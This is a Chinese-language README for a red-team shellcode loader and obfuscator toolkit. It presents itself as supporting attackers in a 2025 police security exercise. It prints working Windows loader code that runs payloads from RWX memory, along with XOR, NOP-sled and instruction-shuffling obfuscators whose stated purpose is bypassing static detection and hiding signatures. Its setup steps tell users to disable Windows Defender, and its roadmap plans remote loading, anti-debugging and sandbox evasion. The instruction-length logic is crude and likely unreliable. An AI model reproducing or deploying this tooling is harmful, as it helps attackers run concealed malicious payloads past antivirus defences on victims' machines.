一个功能完整、技术先进的shellcode处理、混淆和加载工具集,专为安全研究、渗透测试和恶意软件分析而设计。本工具集集成了多种先进的混淆技术和执行方法,提供了一站式的shellcode处理解决方案,助力《公安部2025年护网专项行动》红队攻击手。
- 🔄 智能Shellcode加载器 - 基于Windows API的安全内存加载和执行
- 🔐 多层级混淆系统 - XOR、NOP、指令重排等高级混淆技术
- 📝 全格式转换器 - 支持C、Python、NASM、原始16进制等多种格式
- 📊 实时进度监控 - 详细的处理进度和状态显示
- 🛡️ 安全执行环境 - 完整的错误处理和安全检查机制
- 零依赖执行 - 仅使用Python标准库和Windows API
- 智能指令分析 - 自动识别x64指令边界和类型
- 动态混淆算法 - 每次运行生成不同的混淆结果
- 内存安全管理 - 专业的内存分配和权限控制
- 用户友好界面 - 直观的菜单系统和详细的操作反馈
shellcodebk/
├── main.py # 🎯 主程序 - 统一功能入口和核心引擎
│ ├── ShellcodeLoader # 内存加载和执行模块
│ ├── ShellcodeObfuscator # 混淆处理模块
│ ├── ShellcodeConverter # 格式转换模块
│ └── 主菜单系统 # 用户交互界面
├── payload_x64.bin # 📦 主shellcode文件
└── README.md # 📖 项目说明文档
功能描述: 专业的shellcode内存加载和执行引擎,基于Windows API实现
核心特性:
- ✅ 智能内存管理 - 自动分配可执行内存区域
- ✅ 线程安全执行 - 创建独立线程执行shellcode
- ✅ 权限控制 - 精确的内存权限设置
- ✅ 错误恢复 - 完整的异常处理和资源清理
- ✅ 用户确认 - 执行前的安全确认机制
技术实现细节:
# 内存分配策略
ptr = kernel32.VirtualAlloc(
None, # 自动地址选择
len(shellcode), # 精确大小分配
MEM_COMMIT | MEM_RESERVE, # 提交和保留内存
PAGE_EXECUTE_READWRITE # 可执行、可读、可写权限
)
# 线程创建和执行
thread_h = kernel32.CreateThread(
None, # 默认安全属性
0, # 默认堆栈大小
ctypes.c_void_p(ptr), # 执行地址
None, # 无参数传递
0, # 立即运行
ctypes.byref(ctypes.c_ulong(0)) # 线程ID
)
安全机制:
- 🔒 内存权限验证
- 🔒 线程状态监控
- 🔒 异常捕获和处理
- 🔒 资源自动清理
使用场景:
- 🎯 渗透测试中的payload执行
- 🎯 恶意软件行为分析
- 🎯 安全工具开发测试
- 🎯 漏洞利用验证
功能描述: 基于XOR算法的动态shellcode编码混淆器
核心特性:
- ✅ 动态密钥生成 - 每次运行生成1-255范围内的随机密钥
- ✅ 单轮XOR编码 - 高效的字节级混淆
- ✅ 直接文件覆盖 - 原地修改,不产生额外文件
- ✅ 密钥信息显示 - 实时显示使用的密钥值
- ✅ 完整性保持 - 确保混淆后的shellcode功能完整
技术实现:
# 动态密钥生成
key = random.randint(1, 255)
print(f"[+] 生成XOR密钥: 0x{key:02X}")
# XOR编码算法
encoded = bytes([b ^ key for b in shellcode])
# 文件覆盖保存
with open(self.input_file, "wb") as f:
f.write(encoded)
混淆效果分析:
- 📊 字节模式改变 - 完全改变原始字节分布
- 📊 静态分析难度增加 - 提高反汇编工具识别难度
- 📊 功能完整性保持 - 解码后功能完全正常
- 📊 文件大小不变 - 不增加额外存储开销
适用场景:
- 🎯 绕过静态检测
- 🎯 隐藏shellcode特征
- 🎯 提高分析难度
功能描述: 通过插入NOP指令滑行道实现shellcode混淆
核心特性:
- ✅ 可自定义滑行道大小 - 支持用户自定义NOP数量
- ✅ 智能大小调整 - 自动计算和显示文件大小变化
- ✅ 简单有效混淆 - 经典的缓冲区溢出技术
- ✅ 执行流程保持 - 不影响shellcode执行逻辑
技术实现:
# NOP滑行道生成
nop_sled = b'\x90' * sled_size # 0x90 = NOP指令
# 混淆shellcode构建
obfuscated = nop_sled + shellcode
# 文件保存
with open(self.input_file, "wb") as f:
f.write(obfuscated)
混淆效果:
- 📈 文件大小增加 - 增加NOP滑行道大小
- 📈 入口点偏移 - 改变shellcode执行起始位置
- 📈 缓冲区溢出成功率提高 - 增加命中目标地址的概率
- 📈 静态特征改变 - 改变文件头部字节模式
使用建议:
- 🎯 缓冲区溢出攻击
- 🎯 地址空间布局随机化(ASLR)绕过
- 🎯 提高exploit成功率
功能描述: 高级指令级混淆器,重排shellcode指令并用跳转维持执行逻辑
核心特性:
- ✅ 智能指令分析 - 自动识别x64指令边界和类型
- ✅ 块级指令重排 - 随机重排指令块顺序
- ✅ 自动跳转生成 - 智能生成跳转指令维持执行流程
- ✅ 实时进度显示 - 详细的处理进度监控
- ✅ 执行逻辑保持 - 确保重排后功能完全正常
支持的指令类型:
# 指令长度映射表
instruction_patterns = {
0x90: 1, # NOP指令
0xCC: 1, # INT3断点指令
0xEB: 2, # JMP short (短跳转)
0xE9: 5, # JMP near (近跳转)
0x74: 2, # JZ (零标志跳转)
0x75: 2, # JNZ (非零标志跳转)
0xC3: 1, # RET (返回指令)
0xC2: 3, # RET imm16 (带立即数返回)
# REX前缀指令 (x64扩展)
0x48: 3, # REX.W + MOV指令
0x49: 3, # REX.W + MOV指令
0x4C: 3, # REX.W + MOV指令
0x4D: 3, # REX.W + MOV指令
}
处理流程详解:
def _analyze_instructions(self, shellcode):
"""智能指令边界分析"""
instructions = []
i = 0
total_bytes = len(shellcode)
print(f"[*] 开始分析 {total_bytes} 字节的shellcode...")
while i < len(shellcode):
# 指令长度检测逻辑
opcode = shellcode[i]
length = self._get_instruction_length(opcode, shellcode, i)
# 提取指令
instruction = shellcode[i:i + length]
instructions.append((i, instruction))
i += length
# 进度显示
if len(instructions) % 10 == 0:
progress = (i / total_bytes) * 100
print(f"[*] 分析进度: {progress:.1f}% ({i}/{total_bytes} 字节)")
return instructions
def _reorder_instructions(self, instructions):
"""块级指令重排"""
print(f"[*] 开始重排 {len(instructions)} 个指令...")
# 创建指令块
block_size = random.randint(3, 5)
blocks = []
for i in range(0, len(instructions), block_size):
block = instructions[i:i + block_size]
blocks.append(block)
# 随机重排
random.shuffle(blocks)
# 重组指令
reordered = []
for i, block in enumerate(blocks):
reordered.extend(block)
# 进度显示
if (i + 1) % 5 == 0:
progress = ((i + 1) / len(blocks)) * 100
print(f"[*] 重排进度: {progress:.1f}% ({i + 1}/{len(blocks)} 块)")
return reordered
def _generate_jump_instructions(self, reordered_instructions):
"""智能跳转指令生成"""
print(f"[*] 开始为 {len(reordered_instructions)} 个重排指令生成跳转指令...")
obfuscated_shellcode = b""
current_offset = 0
# 创建地址映射表
address_mapping = {}
for i, (orig_addr, instr) in enumerate(reordered_instructions):
address_mapping[orig_addr] = current_offset
current_offset += len(instr)
# 生成跳转指令
for i, (orig_addr, instr) in enumerate(reordered_instructions):
if i < len(reordered_instructions) - 1:
# 计算跳转距离
next_orig_addr = reordered_instructions[i + 1][0]
next_offset = address_mapping[next_orig_addr]
jump_distance = next_offset - (current_offset + 2)
# 选择跳转类型
if -128 <= jump_distance <= 127:
# 短跳转 (1字节偏移)
jump_instr = bytes([0xEB, jump_distance & 0xFF])
else:
# 近跳转 (4字节偏移)
jump_instr = bytes([0xE9]) + struct.pack('<i', jump_distance)
instr_with_jump = instr + jump_instr
else:
instr_with_jump = instr
obfuscated_shellcode += instr_with_jump
current_offset += len(instr_with_jump)
# 进度显示
if (i + 1) % 20 == 0:
progress = ((i + 1) / len(reordered_instructions)) * 100
print(f"[*] 跳转指令生成进度: {progress:.1f}% ({i + 1}/{len(reordered_instructions)} 指令)")
return obfuscated_shellcode
混淆效果:
- 🔄 完全改变指令顺序 - 原始指令顺序完全打乱
- 🔄 增加反汇编难度 - 静态分析工具难以理解执行流程
- 🔄 保持功能完整 - 通过跳转指令维持正确执行路径
- 🔄 动态混淆 - 每次运行产生不同的混淆结果
功能描述: 全功能shellcode格式转换工具,支持多种编程语言和汇编格式
支持的格式类型:
unsigned char shellcode[] = {
0x48, 0x89, 0x5c, 0x24, 0x08,
0x48, 0x89, 0x6c, 0x24, 0x10,
0x48, 0x89, 0x74, 0x24, 0x18,
0x57, 0x48, 0x83, 0xec, 0x20,
// ... 更多字节
};
unsigned int shellcode_len = 1234;
特点:
- ✅ 标准C数组格式
- ✅ 自动计算长度
- ✅ 兼容所有C编译器
- ✅ 适合嵌入式开发
shellcode = (
"\x48\x89\x5c\x24\x08"
"\x48\x89\x6c\x24\x10"
"\x48\x89\x74\x24\x18"
"\x57\x48\x83\xec\x20"
# ... 更多字节
)
# 长度: 1234 字节
特点:
- ✅ 标准Python字节字符串
- ✅ 自动换行和格式化
- ✅ 适合Python脚本开发
- ✅ 支持字符串拼接
section .text
global shellcode
shellcode:
db 0x48, 0x89, 0x5c, 0x24, 0x08
db 0x48, 0x89, 0x6c, 0x24, 0x10
db 0x48, 0x89, 0x74, 0x24, 0x18
db 0x57, 0x48, 0x83, 0xec, 0x20
; 长度: 1234 字节
特点:
- ✅ 标准NASM语法
- ✅ 支持汇编器编译
- ✅ 包含段定义
- ✅ 适合汇编开发
\x48\x89\x5c\x24\x08\x48\x89\x6c\x24\x10\x48\x89\x74\x24\x18\x57\x48\x83\xec\x20
特点:
- ✅ 紧凑的16进制表示
- ✅ 适合复制粘贴
- ✅ 通用格式支持
- ✅ 最小化存储空间
转换功能特性:
- ✅ 自动格式化 - 智能换行和对齐
- ✅ 长度计算 - 自动显示字节长度
- ✅ 多输出选项 - 支持文件保存或控制台输出
- ✅ 编码兼容 - 支持UTF-8编码
- ✅ 错误处理 - 完整的文件操作错误处理
- 操作系统: Windows 10/11 (x64)
- Python版本: Python 3.7+
- 权限要求: 管理员权限 (用于shellcode执行)
- 内存要求: 至少512MB可用内存
# 检查必要文件
dir payload_x64.bin
dir main.py
# 确保文件存在且可读
# 以管理员权限运行
python main.py
============================================================
Shellcode 加载器
============================================================
[*] 正在加载 payload_x64.bin...
[+] 成功加载 payload_x64.bin
[+] Shellcode 大小: 1234 字节
[*] 分配可执行内存...
[+] 内存已分配: 0x7ff6b8c00000
[*] 复制shellcode到内存...
[!] 警告: 即将执行shellcode,确保在安全的环境中运行
[!] 按Enter键继续...
[*] 创建线程执行shellcode...
[+] 线程已创建,等待执行...
[+] Shellcode执行完成
操作步骤:
- 选择选项
1
- 程序自动加载
payload_x64.bin
- 显示内存分配信息
- 确认执行 (按Enter)
- 程序在内存中执行shellcode
安全提示:
⚠️ 确保在隔离环境中测试⚠️ 了解shellcode的功能和来源⚠️ 不要在生产环境中使用
============================================================
XOR Shellcode 混淆器
============================================================
[+] 原始大小: 1234 字节
[+] 生成XOR密钥: 0x7A
[+] XOR编码完成,大小: 1234 字节
[+] 混淆后的shellcode已保存到: payload_x64.bin
[+] XOR密钥: 0x7A
操作步骤:
- 选择选项
2
- 程序生成随机密钥
- 执行XOR编码
- 直接覆盖原文件
- 显示使用的密钥
重要提醒:
- 🔑 记住密钥 - 用于后续解码
- 🔑 备份原文件 - 混淆不可逆
- 🔑 测试功能 - 确保混淆后仍可执行
============================================================
NOP Shellcode 混淆器
============================================================
[+] 原始大小: 1234 字节
请输入NOP滑行道大小 (默认200): 300
[+] 插入 300 字节 NOP 滑行道
[+] 混淆后大小: 1534 字节
[+] 混淆后的shellcode已保存到: payload_x64.bin
操作步骤:
- 选择选项
3
- 输入NOP滑行道大小 (默认200)
- 程序插入NOP指令
- 显示大小变化
- 保存到原文件
参数建议:
- 📏 小文件: 100-200字节NOP
- 📏 中等文件: 200-500字节NOP
- 📏 大文件: 500-1000字节NOP
============================================================
指令重排 Shellcode 混淆器
============================================================
[*] 正在加载shellcode...
[+] 原始大小: 1234 字节
[*] 正在分析指令边界...
[*] 开始分析 1234 字节的shellcode...
[*] 分析进度: 25.0% (308/1234 字节)
[*] 分析进度: 50.0% (617/1234 字节)
[*] 分析进度: 75.0% (925/1234 字节)
[+] 指令分析完成,共识别 456 个指令
[+] 检测到 456 个指令
[*] 正在重排指令...
[*] 开始重排 456 个指令...
[*] 使用块大小: 4
[*] 创建了 114 个指令块
[*] 正在随机重排指令块...
[*] 重排进度: 20.0% (23/114 块)
[*] 重排进度: 40.0% (46/114 块)
[*] 重排进度: 60.0% (69/114 块)
[*] 重排进度: 80.0% (92/114 块)
[+] 指令重排完成
[+] 指令重排完成,共处理 456 个指令块
[*] 正在生成跳转指令...
[*] 开始为 456 个重排指令生成跳转指令...
[*] 正在创建地址映射...
[+] 地址映射创建完成
[*] 正在生成跳转指令...
[*] 跳转指令生成进度: 20.0% (91/456 指令)
[*] 跳转指令生成进度: 40.0% (182/456 指令)
[*] 跳转指令生成进度: 60.0% (273/456 指令)
[*] 跳转指令生成进度: 80.0% (364/456 指令)
[+] 跳转指令生成完成,最终大小: 2345 字节
[+] 混淆后大小: 2345 字节
[*] 正在保存混淆后的shellcode...
[+] 混淆后的shellcode已直接替换原文件: payload_x64.bin
[+] 修改进度: 100% 完成
操作步骤:
- 选择选项
4
- 程序分析指令边界
- 显示分析进度
- 重排指令块
- 生成跳转指令
- 保存混淆结果
进度监控:
- 📊 分析阶段: 每10个指令显示进度
- 📊 重排阶段: 每5个块显示进度
- 📊 生成阶段: 每20个指令显示进度
============================================================
Shellcode 格式转换器
============================================================
[+] 文件大小: 1234 字节
格式转换选项:
1. C语言格式
2. Python格式
3. NASM汇编格式
4. 原始16进制格式
请选择格式 (1-4): 1
输出文件名 (可选,直接回车输出到控制台): shellcode.c
[+] 转换结果已保存到: shellcode.c
操作步骤:
- 选择选项
5
- 选择目标格式 (1-4)
- 输入输出文件名 (可选)
- 程序执行转换
- 保存或显示结果
格式选择建议:
- 🎯 C语言: 适合C/C++项目集成
- 🎯 Python: 适合Python脚本开发
- 🎯 NASM: 适合汇编语言开发
- 🎯 原始16进制: 适合通用格式需求
============================================================
文件信息
============================================================
[+] payload_x64.bin: 1234 字节
功能说明:
- 📁 显示当前目录下的shellcode文件
- 📊 显示文件大小信息
- ❌ 显示不存在的文件状态
# 内存分配常量
PAGE_EXECUTE_READWRITE = 0x40 # 可执行、可读、可写
MEM_COMMIT = 0x1000 # 立即提交内存
MEM_RESERVE = 0x2000 # 保留内存地址空间
# 分配过程
ptr = kernel32.VirtualAlloc(
None, # 自动选择地址
len(shellcode), # 精确大小
MEM_COMMIT | MEM_RESERVE, # 分配类型
PAGE_EXECUTE_READWRITE # 权限设置
)
- 🔒 地址随机化 - 自动选择内存地址
- 🔒 权限控制 - 精确的内存权限设置
- 🔒 大小匹配 - 分配大小与shellcode完全匹配
- 🔒 错误处理 - 分配失败时的完整错误处理
def _get_instruction_length(self, opcode, shellcode, offset):
"""智能指令长度检测"""
if opcode in [0x90, 0xCC]: # NOP, INT3
return 1
elif opcode in [0xEB, 0xE9]: # JMP指令
return 2 if opcode == 0xEB else 5
elif opcode in [0x74, 0x75]: # 条件跳转
return 2
elif opcode in [0xC3, 0xC2]: # 返回指令
return 1 if opcode == 0xC3 else 3
elif opcode in [0x48, 0x49, 0x4C, 0x4D]: # REX前缀
if offset + 1 < len(shellcode):
next_byte = shellcode[offset + 1]
if next_byte in [0x89, 0x8B, 0x8D]: # MOV指令
return 3
return 2
else:
return 1 # 默认1字节
- 📋 数据传送指令: MOV, PUSH, POP
- 📋 控制转移指令: JMP, CALL, RET
- 📋 算术逻辑指令: ADD, SUB, XOR
- 📋 系统调用指令: SYSCALL, INT
- 📋 前缀指令: REX, LOCK, REP
def _calculate_jump_distance(self, current_offset, target_offset):
"""计算跳转距离"""
jump_distance = target_offset - (current_offset + 2)
# 短跳转范围: -128 到 127
if -128 <= jump_distance <= 127:
return bytes([0xEB, jump_distance & 0xFF])
else:
# 近跳转: 32位相对地址
return bytes([0xE9]) + struct.pack('<i', jump_distance)
- 🎯 短跳转 (JMP short): 1字节偏移,范围±127字节
- 🎯 近跳转 (JMP near): 4字节偏移,范围±2GB
- 🎯 自动选择: 根据距离自动选择最优跳转类型
- 📊 字节分布: 完全随机化
- 📊 熵值: 接近8.0 (最大熵)
- 📊 检测率: 显著降低静态检测率
- 📊 性能影响: 无额外性能开销
- 📊 文件大小: 增加NOP滑行道大小
- 📊 入口点: 偏移NOP滑行道大小
- 📊 检测率: 中等程度降低检测率
- 📊 成功率: 提高缓冲区溢出成功率
- 📊 指令顺序: 完全随机化
- 📊 反汇编难度: 显著增加
- 📊 执行路径: 通过跳转维持正确路径
- 📊 文件大小: 增加跳转指令开销
- ⚖️ 仅供教育和研究使用 - 本工具仅用于合法的安全研究
- ⚖️ 遵守当地法律 - 使用者需要遵守所在地区的法律法规
- ⚖️ 获得授权 - 仅在获得授权的目标上使用
- ⚖️ 责任自负 - 使用者需要承担使用风险
- 🔒 隔离测试环境 - 在虚拟机或沙箱环境中使用
- 🔒 网络隔离 - 断开网络连接防止意外传播
- 🔒 定期快照 - 创建虚拟机快照便于恢复
- 🔒 监控系统 - 监控系统行为变化
- 👤 管理员权限 - 需要管理员权限执行shellcode
- 👤 最小权限原则 - 使用最小必要权限
- 👤 权限撤销 - 测试完成后及时撤销权限
- 👤 审计日志 - 记录所有操作日志
-
创建专用虚拟机
# 使用VMware或VirtualBox创建测试环境 # 分配足够内存和存储空间 # 安装Windows 10/11 x64
-
安装必要软件
# 安装Python 3.7+ # 安装调试工具 (如x64dbg) # 安装网络分析工具 (如Wireshark)
-
配置安全设置
# 关闭Windows Defender实时保护 # 配置防火墙规则 # 设置网络隔离
-
文件验证
# 验证shellcode文件完整性 # 检查文件来源和签名 # 在隔离环境中测试
-
功能测试
# 先测试原始shellcode # 逐步测试各种混淆方法 # 验证混淆后功能完整性
-
清理恢复
# 删除测试文件 # 恢复系统设置 # 创建新的虚拟机快照
问题: "文件不存在"错误
[-] 错误: 文件 payload_x64.bin 不存在
解决方案:
- 检查文件路径和名称
- 确认文件在当前目录
- 检查文件权限
- 使用绝对路径
问题: "文件读取失败"错误
[-] 错误: 无法读取文件
解决方案:
- 检查文件是否被占用
- 确认文件完整性
- 检查磁盘空间
- 以管理员权限运行
问题: "内存分配失败"错误
[-] 内存分配失败
解决方案:
- 检查系统内存是否充足
- 确认管理员权限
- 关闭其他占用内存的程序
- 检查系统安全软件设置
问题: "线程创建失败"错误
[-] 线程创建失败
解决方案:
- 检查系统资源
- 确认内存地址有效性
- 检查安全软件拦截
- 重启程序
问题: "指令分析失败"错误
[-] 混淆失败: 指令分析错误
解决方案:
- 检查shellcode格式
- 确认x64架构兼容性
- 验证文件完整性
- 尝试其他混淆方法
问题: "跳转指令生成失败"错误
[-] 混淆失败: 跳转计算错误
解决方案:
- 检查指令重排结果
- 验证地址映射正确性
- 确认跳转距离范围
- 重新运行混淆程序
try:
# 操作代码
except Exception as e:
print(f"[-] 发生错误: {e}")
import traceback
traceback.print_exc() # 显示详细错误堆栈
# 在main.py中添加调试标志
DEBUG_MODE = True
if DEBUG_MODE:
print(f"[DEBUG] 详细调试信息")
import logging
# 配置日志
logging.basicConfig(
level=logging.DEBUG,
format='%(asctime)s - %(levelname)s - %(message)s',
filename='shellcode_tool.log'
)
# 记录操作日志
logging.info("开始执行shellcode加载")
logging.error("发生错误: %s", str(e))
# 大文件流式读取
def process_large_file(filename, chunk_size=8192):
with open(filename, 'rb') as f:
while True:
chunk = f.read(chunk_size)
if not chunk:
break
process_chunk(chunk)
# 及时释放内存
import gc
def cleanup_memory():
gc.collect() # 强制垃圾回收
# 释放不需要的变量
del large_data
# 批量处理指令块
def batch_process_instructions(instructions, batch_size=100):
for i in range(0, len(instructions), batch_size):
batch = instructions[i:i + batch_size]
process_batch(batch)
# 使用缓存减少重复计算
from functools import lru_cache
@lru_cache(maxsize=1024)
def calculate_jump_distance(current, target):
return target - current
# 使用查找表优化指令长度检测
INSTRUCTION_LENGTH_TABLE = {
0x90: 1, 0xCC: 1, 0xEB: 2, 0xE9: 5,
0x74: 2, 0x75: 2, 0xC3: 1, 0xC2: 3
}
def get_instruction_length(opcode):
return INSTRUCTION_LENGTH_TABLE.get(opcode, 1)
# 预计算跳转距离
def precalculate_jumps(instructions):
jumps = {}
for i, (addr, instr) in enumerate(instructions):
if i < len(instructions) - 1:
next_addr = instructions[i + 1][0]
jumps[addr] = next_addr
return jumps
-
更多混淆算法
- AES加密混淆
- RC4流加密
- 自定义编码算法
- 多轮混淆组合
-
反调试功能
- 检测调试器存在
- 检测虚拟机环境
- 反分析技术
- 时间检测机制
-
指令集扩展
- ARM64架构支持
- x86架构支持
- 更多指令类型识别
- 高级指令分析
-
GUI图形界面
- 直观的操作界面
- 实时进度显示
- 可视化配置选项
- 结果预览功能
-
命令行界面
- 参数化操作
- 批处理支持
- 脚本化集成
- 自动化流程
-
智能混淆引擎
- 机器学习优化
- 自适应混淆策略
- 自动参数调优
-
多平台支持
- Linux系统支持
- macOS系统支持
- 跨平台兼容性
-
网络功能
- 远程shellcode加载
- 网络传输加密
- 高级反检测
- 行为分析规避
- 签名动态变化
本项目采用教育研究许可证,具体条款如下:
- ✅ 允许用途: 教育、研究、安全测试
- ✅ 修改权限: 允许修改和分发
- ✅ 商业使用: 禁止商业用途
- ❌ 非法用途: 严格禁止非法活动
本软件按"现状"提供,不提供任何明示或暗示的保证。
使用者需要自行承担使用风险,并确保遵守相关法律法规。
作者不对因使用本软件而产生的任何损失承担责任。
- ⚖️ 遵守当地法律法规
- ⚖️ 获得必要的授权许可
- ⚖️ 尊重知识产权
- ⚖️ 承担法律责任
- 👤 确保使用环境安全
- 👤 遵守相关法律法规
- 👤 获得必要的授权
- 👤 承担使用风险
- 👨💻 提供技术支持
- 👨💻 修复已知问题
- 👨💻 更新安全补丁
- 👨💻 维护代码质量